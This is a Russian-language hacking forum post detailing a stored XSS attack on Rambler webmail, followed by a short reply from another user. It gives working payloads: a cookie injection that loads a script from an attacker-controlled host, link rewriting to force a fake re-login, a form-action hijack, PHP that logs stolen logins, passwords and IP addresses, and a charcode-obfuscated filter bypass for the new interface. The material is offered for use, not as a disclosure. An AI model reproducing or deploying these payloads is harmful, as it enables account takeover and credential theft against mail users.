Итак существует 2 веб-интерфейса этой почтовой службы - старый и новый переключаются они между собой по ссылке http://mail.rambler.ru/mail/settings.cgi?mode=usetest (кстати именно со старого интерфейса можно отправлять письма в html формате ) I ) Введение: Средствами javascritp Cookies не получить , так как они устанавливаются с флагом httponly , т е сессию пользователя нам не получить. На главной странице ( http://www.rambler.ru/ ) есть XSS уязвимость в переменной rlogin которая находиться в cookies. С помощью XSS мы изменяем этот параметр, делается это так: Code: document.cookie='rlogin=adress_jertvi"><script/src="http://nash_site.ru/r.js"></script><[email protected]; path=/; domain=.rambler.ru'; далее нам надо перекинуть пользователя на страницу http://www.rambler.ru/ , но так чтобы он ничегь не заподозрил, поэтому мы меняем все ссылки на странице - на http://www.rambler.ru/ Code: for(i=0;i<100;i++){if(document.links[i]){document.links[i].href="http://rambler.ru/";}} теперь щелкнув, например, на значок "Входящие" пользователь попадает на http://www.rambler.ru/ , со стороны это выглядит как потеря сессии - что бывает В скрипте r.js пишем : Code: document.forms[1].action="http://nash_site/r.php"; атрибут action формы куда пользователь вводит пароль меняеться на http://nash_site/r.php r.php - это нащ скрипт который записывает пароль и логин в файл и перенаправляет пользователя к нему в ящик r.php : PHP: <?php $login = $_POST['login']; $passw = $_POST['passw']; $date = date("[D|d/m/Y|H:i]"); $fp=fopen("r.html","a"); fputs($fp," <br>Логин: $login <br>Пароль: $passw <br>Дата: $date <br>IP: $REMOTE_ADDR <br>USER_AGENT: $HTTP_USER_AGENT "); fclose($fp); header("Location: http://mail.rambler.ru/script/auth.cgi?domain=rambler.ru&login=$login&passw=$passw"); ?> II ) Реализация: Старый интерфейс там много XSS-уязвимостей, возьмем например Code: <table background='javascript:alert()'> кодируем наш JS скрипт в ASCII document.cookie='rlogin=serega104"><script/src="http://lamerdeath.h14.ru/r.js"></script><[email protected]; path=/; domain=.rambler.ru';for(i=0;i<100;i++){if(document.links){document.links.href="http://rambler.ru/";}} Получаем: Code: <table background='javascript:document.cookie='rlogin=serega104"><script/src="http://lamerdeath.h14.ru/r.js"></script><e@rambler.ru; path=/; domain=.rambler.ru';for(i=0;i<100;i++){if(document.links[i]){document.links[i].href="http://rambler.ru/";}}'> [*] Новый интерфейс Тут прикручен новый фильтр Смотрим как работает фильтр: Отправляем код <img g > смотрим во что превратил фильтр наш код: <img g="g"> Вот она и XSS : <img alert();//onload src="http://ya.ru/logo.gif"> фильтр превращает это в : <img alert();//onload="alert();//onload" src="http://images.rambler.ru/_.gif"> что благополучно обрабатывается IE ( в Opere и Firefox XSS работать не будет, так как эти браузеры не признают слеш за разделитель атрибутов ) так как & превращается в & и другие управляющие символы кодируются прежде чем попадают в значение обработчика событий onload , то кодируем наш скрипт так : Code: <img width=1 height=1 eval(String.fromCharCode(100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61,39,114,108,111,103,105,110,61,115,101,114,101,103,97,49,48,52,34,62,60,115,99,114,105,112,116,47,115,114,99,61,34,104,116,116,112,58,47,47,108,97,109,101,114,100,101,97,116,104,46,104,49,52,46,114,117,47,114,46,106,115,34,62,60,47,115,99,114,105,112,116,62,60,101,64,114,97,109,98,108,101,114,46,114,117,59,32,112,97,116,104,61,47,59,32,100,111,109,97,105,110,61,46,114,97,109,98,108,101,114,46,114,117,39,59,102,111,114,40,105,61,48,59,105,60,49,48,48,59,105,43,43,41,123,105,102,40,100,111,99,117,109,101,110,116,46,108,105,110,107,115,91,105,93,41,123,100,111,99,117,109,101,110,116,46,108,105,110,107,115,91,105,93,46,104,114,101,102,61,34,104,116,116,112,58,47,47,114,97,109,98,108,101,114,46,114,117,47,34,59,125,125));//onload src="http://ya.ru/logo.gif">
Жаль конечно что я с таким рвением искал в обоих движках активную хсс для закрытых разделов, а тут пришёл Майор и всё выложил... Понимаю, что скорее всего он даже не смотрел мои посты, но всёравно выходит обидно. Очень даже...